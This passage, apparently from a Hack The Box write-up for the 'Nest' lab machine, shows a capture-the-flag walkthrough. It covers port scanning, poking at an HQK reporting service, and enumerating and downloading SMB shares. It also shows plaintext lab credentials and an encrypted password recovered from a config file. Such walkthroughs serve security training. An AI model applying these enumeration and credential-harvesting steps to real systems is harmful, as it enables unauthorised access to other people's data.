Connect Scan Timing: About 39.14% &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; ETC: 21:45 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0:02:21 remaining&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Connect Scan Timing: About 66.62% &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; ETC: 21:44 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0:01:01 remaining&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Discovered open port 4386/tcp on 10.10.10.178
Completed Connect Scan at 21:44, 220.62s elapsed &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;65535 total ports&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.178 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;10.10.10.178&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.15s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 65533 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;220.71 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Port 4386 seems different, will try some telnet to it, and enumerate:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is &lt;span class=&quot;s1&quot;&gt;'^]'&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

HQK Reporting Service V1.2

&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;help

&lt;/span&gt;This service allows &lt;span class=&quot;nb&quot;&gt;users &lt;/span&gt;to run queries against databases using the legacy HQK format

&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; AVAILABLE COMMANDS &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;

LIST
SETDIR &amp;lt;Directory_Name&amp;gt;
RUNQUERY &amp;lt;Query_ID&amp;gt;
DEBUG &amp;lt;Password&amp;gt;
HELP &amp;lt;Command&amp;gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;debug 1

Invalid password entered
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;list

Use the query ID numbers below with the RUNQUERY &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;and the directory names with the SETDIR &lt;span class=&quot;nb&quot;&gt;command

 &lt;/span&gt;QUERY FILES IN CURRENT DIRECTORY

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DIR]  COMPARISONS
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1]   Invoices &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ordered By Customer&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2]   Products Sold &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ordered By Customer&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;setdir C:&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;indows&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;emp

Error: Access to the path &lt;span class=&quot;s1&quot;&gt;'C:\Windows\Temp\'&lt;/span&gt; is denied.
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;!--more--&gt;

&lt;p&gt;Now let’s see what samba hides:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbclient &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;10.10.10.178&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;
directory_create_or_exist: &lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;failed on directory /run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP&lt;span class=&quot;se&quot;&gt;\k&lt;/span&gt;ali&lt;span class=&quot;s1&quot;&gt;'s password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk      
SMB1 disabled -- no workgroup available&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Listing everything with smbmap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbmap &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; 10.10.10.178 &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 10 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; a
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Finding open SMB ports....
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Guest SMB session established on 10.10.10.178...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                                    &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;-------&lt;/span&gt;
        ADMIN&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                 NO ACCESS       Remote Admin
        C&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                     NO ACCESS       Default share
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        Data                                                    READ ONLY
        .&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    ..
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    Maintenance
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Templates
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\M&lt;/span&gt;aintenance&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;               48 Wed Aug  7 15:07:32 2019    Maintenance Alerts.txt
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;emplates&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    ..
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    HR
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Marketing
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;emplates&lt;span class=&quot;se&quot;&gt;\H&lt;/span&gt;R&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              425 Wed Aug  7 18:55:36 2019    Welcome Email.txt
        IPC&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                   NO ACCESS       Remote IPC
        Secure&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                NO ACCESS
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        Users                                                   READ ONLY
        .&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Download the files we saw:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbget &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; smb://10.10.10.178/Data/Shared 
Password &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;kali] connecting to //Data/10.10.10.178: 
Using workgroup WORKGROUP, user kali
smb://10.10.10.178/Data/Shared/Maintenance/Maintenance Alerts.txt                                                   
smb://10.10.10.178/Data/Shared/Templates/HR/Welcome Email.txt                             
Downloaded 473b &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;11 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Perfect we have something there checking what is inside the file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;Templates/HR/Welcome&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Email.txt 
We would like to extend a warm welcome to our newest member of staff, &amp;lt;FIRSTNAME&amp;gt; &amp;lt;SURNAME&amp;gt;

You will find your home folder &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the following location: 
&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;HTB-NEST&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;sers&lt;span class=&quot;se&quot;&gt;\&amp;lt;&lt;/span&gt;USERNAME&amp;gt;

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below &lt;span class=&quot;k&quot;&gt;until &lt;/span&gt;all systems have been &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;up &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;you.

Username: TempUser
Password: welcome2019


Thank you
HR
kali@kali:~/sharedcat Maintenance/Maintenance&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Alerts.txt 
There is currently no scheduled maintenance work&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Trying to list everything with this new user and credentials:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbmap &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; 10.10.10.178 &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 10 &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; TempUser &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; welcome2019
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Finding open SMB ports....
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] User SMB session established on 10.10.10.178...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                                    &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;-------&lt;/span&gt;
        ADMIN&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                 NO ACCESS       Remote Admin
        C&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                     NO ACCESS       Default share
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        Data                                                    READ ONLY
        .&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    Archive
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    Configs
        dr--r--r--                0 Wed Aug  7 18:08:30 2019    Installs
        dr--r--r--                0 Sat Jan 25 19:09:13 2020    Reports
        dr--r--r--                0 Mon Aug  5 18:33:51 2019    Tools
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    ..
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    Adobe
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    Atlas
        dr--r--r--                0 Tue Aug  6 09:27:08 2019    DLink
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    Microsoft
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    NotepadPlusPlus
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    RU Scanner
        dr--r--r--                0 Tue Aug  6 09:27:09 2019    Server Manager
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\A&lt;/span&gt;dobe&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              246 Wed Aug  7 15:20:13 2019    editing.xml
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;                0 Wed Aug  7 15:20:09 2019    Options.txt
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              258 Wed Aug  7 15:20:09 2019    projects.xml
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             1274 Wed Aug  7 15:20:09 2019    settings.xml
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\A&lt;/span&gt;tlas&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             1369 Tue Aug  6 07:18:38 2019    Temp.XML
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\M&lt;/span&gt;icrosoft&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             4598 Wed Aug  7 15:23:26 2019    Options.xml
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\N&lt;/span&gt;otepadPlusPlus&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             6451 Wed Aug  7 19:01:25 2019    config.xml
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             2108 Wed Aug  7 19:00:36 2019    shortcuts.xml
        .&lt;span class=&quot;se&quot;&gt;\I&lt;/span&gt;T&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;onfigs&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U Scanner&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              270 Thu Aug  8 15:49:37 2019    RU_config.xml
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    ..
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    Maintenance
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Templates
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\M&lt;/span&gt;aintenance&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;               48 Wed Aug  7 15:07:32 2019    Maintenance Alerts.txt
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;emplates&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    ..
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    HR
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Marketing
        .&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;hared&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;emplates&lt;span class=&quot;se&quot;&gt;\H&lt;/span&gt;R&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              425 Wed Aug  7 18:55:36 2019    Welcome Email.txt
        IPC&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                   NO ACCESS       Remote IPC
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        Secure&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                READ ONLY
        .&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        Users                                                   READ ONLY
        .&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        .&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;empUser&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;                0 Wed Aug  7 18:56:02 2019    New Text Document.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Downloading everything again:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbget &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; smb://10.10.10.178/Data/IT/ &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt; TempUser
Password &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;TempUser] connecting to //Data/10.10.10.178: 
Using workgroup WORKGROUP, user TempUser
smb://10.10.10.178/Data/IT//Configs/Adobe/editing.xml                                                 
smb://10.10.10.178/Data/IT//Configs/Adobe/Options.txt                                                
smb://10.10.10.178/Data/IT//Configs/Adobe/projects.xml                                               
smb://10.10.10.178/Data/IT//Configs/Adobe/settings.xml                                                   
smb://10.10.10.178/Data/IT//Configs/Atlas/Temp.XML                                                
smb://10.10.10.178/Data/IT//Configs/Microsoft/Options.xml                                    
smb://10.10.10.178/Data/IT//Configs/NotepadPlusPlus/config.xml                            
smb://10.10.10.178/Data/IT//Configs/NotepadPlusPlus/shortcuts.xml                            
smb://10.10.10.178/Data/IT//Configs/RU Scanner/RU_config.xml   &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If we look inside the files we can see some hashed password on RU_config.xml&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;Configs/RU&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Scanner/RU_config.xml 
&amp;lt;?xml &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.0&quot;&lt;/span&gt;?&amp;gt;
&amp;lt;ConfigFile xmlns:xsi&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt; xmlns:xsd&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
  &amp;lt;Port&amp;gt;389&amp;lt;/Port&amp;gt;
  &amp;lt;Username&amp;gt;c.smith&amp;lt;/Username&amp;gt;
  &amp;lt;Password&amp;gt;fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;lt;/Password&amp;gt;
&amp;lt;/ConfigFile&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Looking the other files we find some other interesting things:&lt;/p&gt;

